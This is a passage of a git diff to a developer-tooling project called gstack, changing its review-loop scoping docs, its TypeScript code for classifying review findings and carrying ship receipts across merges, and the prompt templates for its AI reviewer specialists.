`--range-base`. Only a blocking finding in that range or in the diff is `fix`; + every below-floor finding is a `note`. A finding the diff causes in code it did + not change names the changed line in `cause`, and the locus follows it. 3. **Three passes is the cap.** A pass that applies no edits is the exit: the PR ships with its deferred and noted items named in the body. A blocking finding still in `fix` scope on pass 3 stops the run and names the finding @@ -86,9 +106,10 @@ counters, because the reviewed product diff is unchanged. | `all` | everything | fixed in this PR | the whole diff, every finding | 3 fix cycles | `diff-plus-blocking` is the fallback for a repository where deferred issues pile -up; `all` is the loop as it ran before 1.91.249.0. A value other than `frozen` -needs `min_gstack_version` at 1.91.249.0 or later so an older gstack refuses the -file by name instead of ignoring the key. +up; `all` is the loop as it ran before the key existed. A value other than +`frozen` needs `min_gstack_version` at or past the release that added the key +(`REVIEW_SCOPE_KEY_VERSION` in `lib/ship-policy.ts`) so an older gstack refuses +the file by name instead of ignoring the key. ## Where this is enforced diff --git a/docs/ship-policy.md b/docs/ship-policy.md index 0c94697a1..494b4db93 100644 --- a/docs/ship-policy.md +++ b/docs/ship-policy.md @@ -577,7 +577,8 @@ written by the pr-body section of `/ship` after the body is composed. ## `review_scope`: how the review loop converges -Since 1.91.249.0. `/ship` Step 9 runs the pre-landing review in passes and fixes +Since the release that added `review_scope` (`REVIEW_SCOPE_KEY_VERSION` in +`lib/ship-policy.ts`). `/ship` Step 9 runs the pre-landing review in passes and fixes what it finds between them ([review-policy.md](review-policy.md) is the canonical statement). Under `review_scope: frozen` (the default) the loop converges by construction: @@ -598,7 +599,8 @@ construction: `## Review notes` in the PR body. 2. **Pass 2 and later review the range since the previous pass.** Each pass saves `PASS_HEAD`; the next pass sets `RANGE_BASE` to it, diffs `RANGE_BASE..HEAD` - for every reviewer (specialists, Red Team, the outside voice) and classifies + for every reviewer (the core checklist, specialists, Red Team, the outside + voice; the gate scan and QA probes keep the whole candidate) and classifies with `--range-base `. Only a blocking finding in that range (`locus: fix-range`) or in the diff is `scope: fix`; nothing below the floor earns a pass. `NO FINDINGS` is the expected reviewer result for a clean range, never a @@ -631,16 +633,23 @@ line, and the codes a refusal ends with are ## Carrying a receipt across a base merge or a test-only fix -Since 1.91.249.0. A `/ship` receipt names the head it reviewed, so a conflict-only -merge of the base or a test-only fix used to invalidate it and cost a full -re-run on identical product code. `gstack-ship-receipt carry --pr --base ` -(or `--body `) moves the receipt to HEAD when the receipt's head is an -ancestor of HEAD and `git patch-id` of the product diff against the base is the -same at both heads. Product means every changed path that is not a test -(`test/**`, `**/*.test.*`, `**/*.spec.*`, `spec/**`, `e2e/**` and the other -`CARRY_TEST_GLOBS` in `lib/ship-receipt.ts`) or release metadata (`VERSION`, -`CHANGELOG.md`, `package.json`, the lockfiles, `agents-digest/**`); a base -merge contributes no product change of its own. The carried receipt records +Since the release that added `review_scope`. A `/ship` receipt names the head it +reviewed, so a conflict-only merge of the base or a test-only fix used to +invalidate it and cost a full re-run on identical product code. +`gstack-ship-receipt carry --pr --base ` (or `--body `) moves +the receipt to HEAD when the working tree is clean, the receipt's head is an +ancestor of HEAD and `git patch-id --verbatim` of the product diff against the +base is the same at both heads (verbatim: whitespace counts, hunk line numbers +do not). Product means every changed path that is not test code (`test/**`, +`spec/**`, `e2e/**`, `**/*.test.`, `**/*.spec.` and the +other `CARRY_TEST_GLOBS` in `lib/ship-receipt.ts`; an `openapi.spec.yaml` is +product) or release metadata (`CHANGELOG.md`, `agents-digest/**`, the paths the +policy's `stamp_files`, `stamp_paths`, `release_outputs` and `changelog` name, +and `VERSION` or `package.json` only while the change is a version stamp and +nothing else: a dependency, a script or a new key makes them product). Lockfiles +are product unless the policy names them. A base merge contributes no product +change of its own. A receipt carried twice keeps the reviewed head as +`carry.from` and adds up the merges and paths. The carried receipt records `carry: { from, reason, product_patch_id, changed_paths, merge_commits, range_diff, covers, reruns }` with the `git range-diff` evidence, prints `CARRY: carried from to ()` and the `GSTACK_RESULT: @@ -651,7 +660,7 @@ skill=ship status=complete` line, and its summary line ends with A changed product path, or a product patch-id that differs, is [`RECEIPT_CARRY_PRODUCT_CHANGED`](troubleshooting.md#receipt-carry-product-changed) (exit 3; the refusal names the paths), and a receipt whose head is not in HEAD's -history (a rebase or force-push) is +history (a rebase or force-push) or a working tree with uncommitted changes is [`RECEIPT_CARRY_REFUSED`](troubleshooting.md#receipt-carry-refused): run `/ship` on the new head. `/ship` Step 1 runs the carry check itself when the branch has an open PR, and a `CARRY: carried` result ends that run with the receipt bound diff --git a/lib/review-scope.ts b/lib/review-scope.ts index cab07fa3e..a451fed0a 100644 --- a/lib/review-scope.ts +++ b/lib/review-scope.ts @@ -26,6 +26,8 @@ export const HUNK_CONTEXT_LINES = 3; export interface ScopeFinding { fingerprint?: string; path?: string; line?: number; severity?: string; category?: string; summary?: string; problem?: string; fix?: string; specialist?: string; advisory?: boolean; test_stub?: string; + /** The changed line that causes a defect reported elsewhere (a broken caller, a consumer of a removed export); the locus follows it. */ + cause?: { path?: string; line?: number }; [key: string]: unknown; } export interface ScopedFinding extends ScopeFinding { locus: Locus; kind: Kind; blocking: boolean; scope: ScopeAction } @@ -72,11 +74,17 @@ function inHunks(hunks: HunkMap, path: string, line: number | undefined, context return ranges.some(([a, b]) => line >= a - context && line <= b + context); } -/** Where a finding sits: in the range since the previous pass, in the branch diff, or in code the PR did not change. */ +/** + * Where a finding sits: in the range since the previous pass, in the branch + * diff, or in code the PR did not change. A `cause` anchor wins over the + * reported path, so a defect the diff causes in an unchanged caller is the + * diff's. + */ export function locusOf(finding: ScopeFinding, diffHunks: HunkMap, rangeHunks: HunkMap | null, context = HUNK_CONTEXT_LINES): Locus { - const path = typeof finding.path === 'string' ? finding.path : fingerprintPath(finding.fingerprint); + const anchor = finding.cause && typeof finding.cause === 'object' && typeof finding.cause.path === 'string' ? finding.cause : finding; + const path = typeof anchor.path === 'string' ? anchor.path : fingerprintPath(finding.fingerprint); if (!path) return 'outside'; - const line = typeof finding.line === 'number' ? finding.line : fingerprintLine(finding.fingerprint); + const line = typeof anchor.line === 'number' ? anchor.line : anchor === finding ? fingerprintLine(finding.fingerprint) : undefined; if (rangeHunks && inHunks(rangeHunks, path, line, context)) return 'fix-range'; if (inHunks(diffHunks, path, line, context)) return 'diff'; return 'outside'; @@ -93,11 +101,13 @@ function fingerprintLine(fp: unknown): number | undefined { return Number.isInteger(n) && n > 0 ? n : undefined; } -/** A finding's kind: optional advice, a missing test, or a defect. */ +/** The categories a reviewer uses for a test finding; `testing` is what the Testing specialist's schema emits. */ +export const TEST_GAP_CATEGORIES: readonly string[] = ['testing', 'tests', 'test-gap', 'test-coverage', 'coverage', 'missing-test', 'untested']; + +/** A finding's kind: optional advice, a test finding (a gap, a weak or flaky test), or a product defect. */ export function kindOf(finding: ScopeFinding): Kind { if (finding.advisory === true) return 'advisory'; - const category = String(finding.category ?? '').toLowerCase(); - if (/^(test-gap|test-coverage|coverage|missing-test|untested)$/.test(category)) return 'test-gap'; + if (TEST_GAP_CATEGORIES.includes(String(finding.category ?? '').toLowerCase())) return 'test-gap'; return 'defect'; } @@ -124,9 +134,11 @@ export function scopeFindings(findings: readonly ScopeFinding[], input: ScopeInp const kind = kindOf(finding); const blocking = isBlocking(finding, kind); const locus = locusOf(finding, input.diffHunks, input.pass > 1 ? input.rangeHunks : null, input.context); + // A blocking finding nobody could place cannot be filed against a path; the diff's author resolves it now. + const placed = typeof finding.path === 'string' || fingerprintPath(finding.fingerprint) !== undefined; let scope: ScopeAction; if (input.policy === 'all') scope = 'fix'; - else if (locus === 'outside') scope = !blocking ? 'note' : input.policy === 'diff-plus-blocking' ? 'fix' : 'defer'; + else if (locus === 'outside') scope = !blocking ? 'note' : input.policy === 'diff-plus-blocking' || !placed ? 'fix' : 'defer'; else if (input.pass <= 1) scope = 'fix'; else scope = blocking ? 'fix' : 'note'; return { ...finding, locus, kind, blocking, scope }; @@ -187,11 +199,11 @@ export function renderDeferredIssue(f: ScopedFinding, ctx: DeferContext): { titl export interface DeferredRecord { fingerprint: string; path: string; severity: string; summary: string; issue: number | null; url?: string; reason?: string } -/** The PR-body section for deferred findings: references, never closing keywords, so a merge closes nothing. */ -export function renderDeferredSection(deferred: readonly DeferredRecord[], noted: readonly ScopeFinding[] = [], policy: ReviewScopePolicy = 'frozen'): string { +/** The PR-body section for deferred findings: references, never closing keywords, so a merge closes nothing. Only `frozen` defers. */ +export function renderDeferredSection(deferred: readonly DeferredRecord[], noted: readonly ScopeFinding[] = []): string { const out: string[] = []; if (deferred.length) { - out.push('## Deferred findings', '', `Blocking findings in code this PR did not change (review scope: ${policy}); filed as issues and not closed by this PR.`, ''); + out.push('## Deferred findings', '', 'Blocking findings in code this PR did not change (review scope: frozen); filed as issues and not closed by this PR.', ''); for (const d of deferred) { const ref = d.issue ? `#${d.issue}` : `unfiled${d.reason ? ` (${oneLine(d.reason)})` : ''}`; out.push(`- Deferred: ${ref} — ${oneLine(d.severity)} \`${oneLine(d.path)}\` ${oneLine(d.summary)}`); diff --git a/lib/ship-receipt.ts b/lib/ship-receipt.ts index cfbad2cd2..309f9a12d 100644 --- a/lib/ship-receipt.ts +++ b/lib/ship-receipt.ts @@ -10,6 +10,7 @@ import { ARTIFACT_SCHEMAS, checkSchema, type ShipReceipt, type ValidationError } import { approvalSummary } from './approval-citations'; import { renderIssueLines } from './issue-links'; import { matchesAny } from './ship-policy'; +import { stampFileKind, versionStampOnly } from './pregate/stamp-only'; export const RECEIPT_FENCE = 'gstack-ship-receipt'; const KEY_ORDER: Array = [ @@ -130,25 +131,25 @@ export function receiptSummaryLine(r: ShipReceipt): string { /** * Paths whose change never invalidates a /ship verdict on its own: tests (the * reviewed product code is what the verdict covers; CI at the new head reruns - * them) and release metadata (stamps, lockfiles, the agents digest). A repo - * extends the lists through its ship policy (`stamp_files`, `stamp_paths`, - * `release_outputs`, `changelog`). + * them, unreviewed) and release metadata (the version stamp, the changelog, the + * agents digest). A repo extends the lists through its ship policy + * (`stamp_files`, `stamp_paths`, `release_outputs`, `changelog`); lockfiles are + * product unless the policy names them, because a dependency change is a + * product change. The test globs name code extensions only: an API contract + * such as `openapi.spec.yaml` is product. */ +const TEST_CODE_EXTENSIONS = ['ts', 'tsx', 'js', 'jsx', 'mjs', 'cjs', 'mts', 'cts', 'rb', 'py', 'go', 'rs', 'java', 'kt', 'swift', 'dart', 'php', 'cs']; export const CARRY_TEST_GLOBS: readonly string[] = [ - 'test/**', 'tests/**', 'spec/**', '__tests__/**', 'e2e/**', 'cypress/**', '**/__tests__/**', '**/*.test.*', '**/*.spec.*', + 'test/**', 'tests/**', 'spec/**', '__tests__/**', 'e2e/**', 'cypress/**', '**/__tests__/**', + ...TEST_CODE_EXTENSIONS.flatMap(ext => [`**/*.test.${ext}`, `**/*.spec.${ext}`]), '**/*_test.go', '**/test_*.py', '**/*_test.py', '**/*_spec.rb', '**/*Test.java', '**/*Tests.swift', ]; -export const CARRY_METADATA_GLOBS: readonly string[] = [ - 'VERSION', 'CHANGELOG.md', 'package.json', 'package-lock.json', 'bun.lock', 'bun.lockb', 'yarn.lock', 'pnpm-lock.yaml', - 'Cargo.lock', 'Gemfile.lock', 'agents-digest/**', -]; +export const CARRY_METADATA_GLOBS: readonly string[] = ['VERSION', 'CHANGELOG.md', 'package.json', 'agents-digest/**']; export type CarryClass = 'product' | 'test' | 'metadata'; export interface CarryPlanInput { /** The reviewed head the receipt names. */ from: string; head: string; - /** Merge base of origin/ with `from` and with `head`. */ - fromBase: string; headBase: string; /** Paths changed between from and head, classified. */ changed: Array<{ path: string; class: CarryClass }>; /** Product patch-ids at both heads (empty string for no product diff). */ @@ -162,9 +163,20 @@ export interface CarryPlanInput { export interface CarryRecord { from: string; reason: string; product_patch_id: string; changed_paths: string[]; merge_commits: number; range_diff: string; covers: string[]; reruns: string[] } export type CarryPlan = { ok: true; carry: CarryRecord } | { ok: false; code: 'RECEIPT_CARRY_PRODUCT_CHANGED' | 'RECEIPT_CARRY_REFUSED'; message: string }; -export function classifyCarryPath(rel: string, extra: { tests?: readonly string[]; metadata?: readonly string[] } = {}): CarryClass { - if (matchesAny([...CARRY_METADATA_GLOBS, ...(extra.metadata ?? [])], rel)) return 'metadata'; - if (matchesAny([...CARRY_TEST_GLOBS, ...(extra.tests ?? [])], rel)) return 'test'; +/** + * One changed path's carry class. A default-metadata manifest (`package.json`, + * `VERSION`) is metadata only while its from..head change is a version stamp + * and nothing else (`versionStampOnly`): a dependency, a script or a new key is + * product. `change` carries the file's text at both heads; without it the + * default lists decide (the paths a policy names are the repo's own call). + */ +export function classifyCarryPath(rel: string, extra: { metadata?: readonly string[] } = {}, change?: { before: string | null; after: string | null }): CarryClass { + if (matchesAny(extra.metadata ?? [], rel)) return 'metadata'; + if (matchesAny(CARRY_METADATA_GLOBS, rel)) { + if (change && stampFileKind(rel) && !versionStampOnly(rel, change.before, change.after).stampOnly) return 'product'; + return 'metadata'; + } + if (matchesAny(CARRY_TEST_GLOBS, rel)) return 'test'; return 'product'; } @@ -190,18 +202,29 @@ export function planCarry(input: CarryPlanInput): CarryPlan { carry: { from: input.from, reason: reasons.join(' + '), product_patch_id: input.productPatchId.head || 'none', changed_paths: input.changed.slice(0, 50).map(c => `${c.class}:${c.path}`), merge_commits: input.mergeCommits, range_diff: input.rangeDiff, - covers: ['pre-landing review', 'adversarial review', 'gate integrity', 'documentation audit'], reruns: ['CI at head (gstack-ship-queue ready requires it)'], + covers: ['pre-landing review', 'adversarial review', 'gate integrity', 'documentation audit'], + reruns: ['CI at head (gstack-ship-queue ready requires it); test and helper code changed since the reviewed head runs there unreviewed'], }, }; } -/** The carried receipt: the same evidence, bound to the new head, with the carry recorded. */ +/** + * The carried receipt: the same evidence, bound to the new head, with the carry + * recorded. A receipt carried before keeps the reviewed head as `from` and adds + * this hop's merges and paths, so the record always names the head a review saw. + */ export function carryReceipt(receipt: ShipReceipt, head: string, carry: CarryRecord): ShipReceipt { - return orderReceipt({ ...receipt, head, carry }); + const prior = receipt.carry; + const merged: CarryRecord = !prior ? carry : { + ...carry, from: prior.from, reason: prior.reason === carry.reason ? carry.reason : `${prior.reason} + ${carry.reason}`, + merge_commits: prior.merge_commits + carry.merge_commits, + changed_paths: [...prior.changed_paths, ...carry.changed_paths.filter(p => !prior.changed_paths.includes(p))].slice(0, 50), + }; + return orderReceipt({ ...receipt, head, carry: merged }); } /** The loop counters the factory scorecard reads (passes, blocking_found, deferred), as `write --review-loop` records them. */ -export interface ReviewLoopReceipt { passes: number; blocking_found: number; deferred: number; noted?: number; fixed?: number; scope?: string } +export type ReviewLoopReceipt = NonNullable; export function parseReviewLoop(value: unknown): ReviewLoopReceipt | undefined { if (!value || typeof value !== 'object' || Array.isArray(value)) return undefined; const v = value as Record; diff --git a/review/checklist.md b/review/checklist.md index d79d11585..c837d17ad 100644 --- a/review/checklist.md +++ b/review/checklist.md @@ -206,6 +206,12 @@ the fix, it's ASK. **Critical findings default toward ASK** (they're inherently riskier). **Informational findings default toward AUTO-FIX** (they're more mechanical). +**Severity glossary** (the words /ship's review loop budgets by; docs/review-policy.md): +- **blocker**: the intended case is wrong. A test would fail, production breaks, or data or secrets are lost. CRITICAL; fixed on every pass, or named to the owner at the cap. +- **should**: a real bug a caller will hit, inside the intended case. Fixed when it is in the diff on pass 1; filed and deferred when it is in code the PR did not change. +- **nit**: everything else, including style, naming, wording and "I would have done it differently". A named note in the PR body; never a reason for another pass. +Two stop rules follow from the budget: if a pass's fixes grew the diff past what the request needs, cut that growth first; and reaching the cap approves nothing, so a standing blocker is reported, not waved through. + --- ## Suppressions — DO NOT flag these diff --git a/review/sections/review-army.md b/review/sections/review-army.md index 815941bf0..22a98c1fc 100644 --- a/review/sections/review-army.md +++ b/review/sections/review-army.md @@ -105,8 +105,9 @@ Every other specialist, including Testing, reads the full diff with fixtures. {\"severity\":\"CRITICAL|INFORMATIONAL\",\"confidence\":N,\"path\":\"file\",\"line\":N,\"category\":\"category\",\"summary\":\"description\",\"fix\":\"recommended fix\",\"fingerprint\":\"path:line:category\",\"specialist\":\"name\"} Required fields: severity, confidence, path, category, summary, specialist. -Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target. +Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause. CRITICAL means a test that would fail, a production break, or a security or data-loss defect; everything else is INFORMATIONAL. +A defect the diff causes but that shows elsewhere (a caller broken by a changed signature, a consumer of a removed export) keeps the victim as `path` and names the changed line in `cause`: {\"cause\":{\"path\":\"file\",\"line\":N}}. Without it the finding reads as pre-existing code. Leave extraction advice to the core shared-code check; report real defects in duplicated code independently, keep advisory metadata on structural advice, and never call a demonstrated defect advisory because a shared helper could fix it. @@ -170,7 +171,25 @@ the highest confidence and all source names. Confirmation by distinct specialist Core findings never earn a specialist confidence boost. Preserve `advisory`, `evidence_paths` and `helper_target` through every merge. -#### 4. Apply specialist confidence gates +#### 4. Lead judgment + +Reviewers fill the space they are given. Before any merged finding counts, the +parent reads each one and drops or downgrades it on these grounds, saying so: +- **Nit gravity.** When a reviewer's whole return is style, naming and preference, + the code is probably fine; write that down and count nothing from it as a defect. +- **Hypothetical, not actual.** A defect names the call site or input that reaches + it. One that does not is a note until someone traces it. +- **Structure for a case that does not exist.** Advice to abstract, generalize or + guard a path nothing takes is advisory, never a defect. +- **A different design is not a defect.** "I would have done it differently" with + no failing case behind it is dropped. +- **Missing context.** A finding that assumes a rule the repository documents + otherwise is dropped with the pointer. +Agreement between reviewers that did not see each other's output is the strongest +signal; the `MULTI-SPECIALIST CONFIRMED` boost above records it. A reviewer that +returned `NO FINDINGS` was right until a traced defect says otherwise. + +#### 5. Apply specialist confidence gates - Confidence 7+: show normally in the findings output - Confidence 5-6: show with caveat "Medium confidence — verify this is actually an issue" @@ -179,14 +198,14 @@ Core findings never earn a specialist confidence boost. Preserve `advisory`, Core findings keep the core Confidence Calibration gates. -#### 5. Score and present specialists +#### 6. Score and present specialists Only specialist findings enter this header and `quality_score`; core findings do not. Use the merged NON-advisory specialist findings for both counts and score; the header's N is X + Y, so advisory findings never add to it: `quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))` Cap at 10 and retain for the review-log entry in Step 5.8. These are not final unresolved-defect totals. -Print only this block: the stage 6 activity object and `test_stub` bodies are log and Fix-First data. +Print only this block: the stage 7 activity object and `test_stub` bodies are log and Fix-First data. Validated `"advisory": true` findings from any source are excluded from score, header, unresolved-defect totals and clean-status blockers. Show them separately; they remain ASK-only, never auto-applied. Real defects follow normal Fix-First. @@ -213,7 +232,7 @@ PR Quality Score: X/10 Core shared-code savings never enter this footer; explain any overlap once in the core proposal. -#### 6. Save specialist activity +#### 7. Save specialist activity Compile a `specialists` object for the review-log entry in Step 5.8. For DIFF_LINES < 50, keep `specialists: {}`; do not manufacture per-specialist scope records. Otherwise record each considered specialist (testing, maintainability, security, performance, data-migration, api-contract, design, simplification, state-machines, red-team): @@ -227,7 +246,7 @@ Advisory findings COUNT in the stats `findings` field, not its defect counts. Include Design despite its different checklist. Preserve dispatch/failure status: zero returned findings from a failed attempt is not a clean review. -#### 7. Hand off to Fix-First +#### 8. Hand off to Fix-First Send these findings to Step 5 Fix-First alongside the CRITICAL pass findings from Step 4. Consolidate equivalent shared-code advice under the core proposal, retaining all @@ -257,7 +276,7 @@ concerns, integration boundary issues, and failure modes that specialist checkli don't cover." Tag Red Team findings `"specialist":"red-team"`. -Add them to the original specialist outputs and rerun stages 1–7 of Step 4.6 +Add them to the original specialist outputs and rerun stages 1–8 of Step 4.6 before Step 5 Fix-First; do not boost or count the earlier findings twice. If the Red Team returns NO FINDINGS, note: "Red Team review: no additional issues found." diff --git a/scripts/resolvers/review-army.ts b/scripts/resolvers/review-army.ts index a6c9a3cf5..4380930a7 100644 --- a/scripts/resolvers/review-army.ts +++ b/scripts/resolvers/review-army.ts @@ -124,8 +124,9 @@ Every other specialist, including Testing, reads the full diff with fixtures. {\\"severity\\":\\"CRITICAL|INFORMATIONAL\\",\\"confidence\\":N,\\"path\\":\\"file\\",\\"line\\":N,\\"category\\":\\"category\\",\\"summary\\":\\"description\\",\\"fix\\":\\"recommended fix\\",\\"fingerprint\\":\\"path:line:category\\",\\"specialist\\":\\"name\\"} Required fields: severity, confidence, path, category, summary, specialist. -Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target. +Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause. CRITICAL means a test that would fail, a production break, or a security or data-loss defect; everything else is INFORMATIONAL. +A defect the diff causes but that shows elsewhere (a caller broken by a changed signature, a consumer of a removed export) keeps the victim as \`path\` and names the changed line in \`cause\`: {\\"cause\\":{\\"path\\":\\"file\\",\\"line\\":N}}. Without it the finding reads as pre-existing code. Leave extraction advice to the core shared-code check; report real defects in duplicated code independently, keep advisory metadata on structural advice, and never call a demonstrated defect advisory because a shared helper could fix it. @@ -194,7 +195,25 @@ the highest confidence and all source names. Confirmation by distinct specialist Core findings never earn a specialist confidence boost. Preserve \`advisory\`, \`evidence_paths\` and \`helper_target\` through every merge. -#### 4. Apply specialist confidence gates +#### 4. Lead judgment + +Reviewers fill the space they are given. Before any merged finding counts, the +parent reads each one and drops or downgrades it on these grounds, saying so: +- **Nit gravity.** When a reviewer's whole return is style, naming and preference, + the code is probably fine; write that down and count nothing from it as a defect. +- **Hypothetical, not actual.** A defect names the call site or input that reaches + it. One that does not is a note until someone traces it. +- **Structure for a case that does not exist.** Advice to abstract, generalize or + guard a path nothing takes is advisory, never a defect. +- **A different design is not a defect.** "I would have done it differently" with + no failing case behind it is dropped. +- **Missing context.** A finding that assumes a rule the repository documents + otherwise is dropped with the pointer. +Agreement between reviewers that did not see each other's output is the strongest +signal; the \`MULTI-SPECIALIST CONFIRMED\` boost above records it. A reviewer that +returned \`NO FINDINGS\` was right until a traced defect says otherwise. + +#### 5. Apply specialist confidence gates - Confidence 7+: show normally in the findings output - Confidence 5-6: show with caveat "Medium confidence — verify this is actually an issue" @@ -203,14 +222,14 @@ Core findings never earn a specialist confidence boost. Preserve \`advisory\`, Core findings keep the core Confidence Calibration gates. -#### 5. Score and present specialists +#### 6. Score and present specialists Only specialist findings enter this header and \`quality_score\`; core findings do not. Use the merged NON-advisory specialist findings for both counts and score; the header's N is X + Y, so advisory findings never add to it: \`quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))\` Cap at 10 and retain for ${persistRef}. These are not final unresolved-defect totals. -Print only this block: the stage 6 activity object and \`test_stub\` bodies are log and Fix-First data. +Print only this block: the stage 7 activity object and \`test_stub\` bodies are log and Fix-First data. Validated \`"advisory": true\` findings from any source are excluded from score, header, unresolved-defect totals and clean-status blockers. Show them separately; they remain ASK-only, never auto-applied. Real defects follow normal Fix-First. @@ -237,7 +256,7 @@ PR Quality Score: X/10 Core shared-code savings never enter this footer; explain any overlap once in the core proposal. -#### 6. Save specialist activity +#### 7. Save specialist activity Compile a \`specialists\` object for ${persistRef}. ${isShip ? 'For each specialist' : 'For DIFF_LINES < 50, keep `specialists: {}`; do not manufacture per-specialist scope records. Otherwise record each considered specialist'} (testing, maintainability, security, performance, data-migration, api-contract, design, simplification, state-machines, red-team): @@ -251,7 +270,7 @@ Advisory findings COUNT in the stats \`findings\` field, not its defect counts. Include Design despite its different checklist. Preserve dispatch/failure status: zero returned findings from a failed attempt is not a clean review. -#### 7. Hand off to Fix-First +#### 8. Hand off to Fix-First Send these findings to ${fixFirstRef} alongside ${critPassRef}. Consolidate equivalent shared-code advice under the core proposal, retaining all @@ -284,7 +303,7 @@ concerns, integration boundary issues, and failure modes that specialist checkli don't cover." Tag Red Team findings \`"specialist":"red-team"\`. -Add them to the original specialist outputs and rerun stages 1–7 of Step ${stepMerge} +Add them to the original specialist outputs and rerun stages 1–8 of Step ${stepMerge} before ${fixFirstRef}; do not boost or count the earlier findings twice. If the Red Team returns NO FINDINGS, note: "Red Team review: no additional issues found." diff --git a/ship/sections/pr-body.md b/ship/sections/pr-body.md index 28bc3f4c3..55aecb267 100644 --- a/ship/sections/pr-body.md +++ b/ship/sections/pr-body.md @@ -204,12 +204,15 @@ per-lane counts (`{"":{"pass":N,"fail":N,"skip":N}}`) to `.gstack/tmp/ship-gate.json` with your file-write tool, then: ```bash -~/.claude/skills/gstack/bin/gstack-review-scope summary --since "$REVIEW_SINCE" --out .gstack/tmp/review-loop.json +rm -f .gstack/tmp/review-loop.json +~/.claude/skills/gstack/bin/gstack-review-scope summary --since "$REVIEW_SINCE" --out .gstack/tmp/review-loop.json && ~/.claude/skills/gstack/bin/gstack-ship-receipt write --pr --base --gate @.gstack/tmp/ship-gate.json --pregate .gstack/tmp/pregate.json --issues @.gstack/tmp/issues.json --review-loop @.gstack/tmp/review-loop.json --body "$PR_BODY_FILE" ``` The summary reads this branch's review log for the invocation's passes (its -`REVIEW_LOOP:` line is the one the Pre-Landing Review section carries). +`REVIEW_LOOP:` line is the one the Pre-Landing Review section carries). The `&&` +matters: a summary that refuses (no pass matched `REVIEW_SINCE`) must not let `write` +record a stale or empty loop file. Add `--receipt .gstack/tmp/tree-receipt.json` only when Step 16 wrote it (gate-ahead). New PR/MR: omit `--pr`, then rerun with the number after creation and repost the body. diff --git a/ship/sections/pr-body.md.tmpl b/ship/sections/pr-body.md.tmpl index c45b747c2..9c7471c84 100644 --- a/ship/sections/pr-body.md.tmpl +++ b/ship/sections/pr-body.md.tmpl @@ -187,12 +187,15 @@ per-lane counts (`{"":{"pass":N,"fail":N,"skip":N}}`) to `.gstack/tmp/ship-gate.json` with your file-write tool, then: ```bash -~/.claude/skills/gstack/bin/gstack-review-scope summary --since "$REVIEW_SINCE" --out .gstack/tmp/review-loop.json +rm -f .gstack/tmp/review-loop.json +~/.claude/skills/gstack/bin/gstack-review-scope summary --since "$REVIEW_SINCE" --out .gstack/tmp/review-loop.json && ~/.claude/skills/gstack/bin/gstack-ship-receipt write --pr --base --gate @.gstack/tmp/ship-gate.json --pregate .gstack/tmp/pregate.json --issues @.gstack/tmp/issues.json --review-loop @.gstack/tmp/review-loop.json --body "$PR_BODY_FILE" ``` The summary reads this branch's review log for the invocation's passes (its -`REVIEW_LOOP:` line is the one the Pre-Landing Review section carries). +`REVIEW_LOOP:` line is the one the Pre-Landing Review section carries). The `&&` +matters: a summary that refuses (no pass matched `REVIEW_SINCE`) must not let `write` +record a stale or empty loop file. Add `--receipt .gstack/tmp/tree-receipt.json` only when Step 16 wrote it (gate-ahead). New PR/MR: omit `--pr`, then rerun with the number after creation and repost the body. diff --git a/ship/sections/review-army.md b/ship/sections/review-army.md index b2b570435..ac9002ff3 100644 --- a/ship/sections/review-army.md +++ b/ship/sections/review-army.md @@ -13,10 +13,12 @@ Steps 10–11 queue findings without editing; include those findings in this pas Every repeat starts before the checklist read and captures a fresh REVIEW_START. Finish the complete review and QA before applying any fix in Step 9.4. -**Pass 2+ reads the range, not the tree** (`review_scope frozen`): wherever this -step or its dispatched prompts run `DIFF_BASE=$(git merge-base origin/ HEAD)`, -use `DIFF_BASE=$RANGE_BASE` instead, so reviewers read what changed since the -previous pass. `NO FINDINGS` is the expected result for a clean range. Under +**Pass 2+ reads the range, not the tree** (`review_scope frozen`): the core read +in item 2 becomes `git diff $RANGE_BASE`, and wherever this step or its dispatched +prompts run `DIFF_BASE=$(git merge-base origin/ HEAD)`, use `DIFF_BASE=$RANGE_BASE` +instead, so every reviewer reads what changed since the previous pass. The gate +scan (2.5) and the QA probes keep the whole candidate: they are tools, not +reviewers. `NO FINDINGS` is the expected result for a clean range. Under `review_scope all`, every pass reads the full diff. ## Confidence Calibration @@ -80,7 +82,7 @@ This pass is static; defer product probes to Step 9.2.1. 1. Read `~/.claude/skills/gstack/review/checklist.md`. If the file cannot be read, **STOP** and report the error. -2. Before reading the diff, run `~/.claude/skills/gstack/bin/gstack-review-log --start review` and save its token as REVIEW_START. Then run `git diff origin/`. Read non-ignored untracked source files too (`git ls-files --others --exclude-standard`); the snapshot includes them. +2. Before reading the diff, run `~/.claude/skills/gstack/bin/gstack-review-log --start review` and save its token as REVIEW_START. Then run `git diff origin/` (`git diff $RANGE_BASE` from pass 2 on). Read non-ignored untracked source files too (`git ls-files --others --exclude-standard`); the snapshot includes them. Every pass captures a full token (no `--fix-range`), so the record binds the whole tree even when reviewers read only the range. @@ -373,8 +375,9 @@ Every other specialist, including Testing, reads the full diff with fixtures. {\"severity\":\"CRITICAL|INFORMATIONAL\",\"confidence\":N,\"path\":\"file\",\"line\":N,\"category\":\"category\",\"summary\":\"description\",\"fix\":\"recommended fix\",\"fingerprint\":\"path:line:category\",\"specialist\":\"name\"} Required fields: severity, confidence, path, category, summary, specialist. -Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target. +Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause. CRITICAL means a test that would fail, a production break, or a security or data-loss defect; everything else is INFORMATIONAL. +A defect the diff causes but that shows elsewhere (a caller broken by a changed signature, a consumer of a removed export) keeps the victim as `path` and names the changed line in `cause`: {\"cause\":{\"path\":\"file\",\"line\":N}}. Without it the finding reads as pre-existing code. Leave extraction advice to the core shared-code check; report real defects in duplicated code independently, keep advisory metadata on structural advice, and never call a demonstrated defect advisory because a shared helper could fix it. @@ -438,7 +441,25 @@ the highest confidence and all source names. Confirmation by distinct specialist Core findings never earn a specialist confidence boost. Preserve `advisory`, `evidence_paths` and `helper_target` through every merge. -#### 4. Apply specialist confidence gates +#### 4. Lead judgment + +Reviewers fill the space they are given. Before any merged finding counts, the +parent reads each one and drops or downgrades it on these grounds, saying so: +- **Nit gravity.** When a reviewer's whole return is style, naming and preference, + the code is probably fine; write that down and count nothing 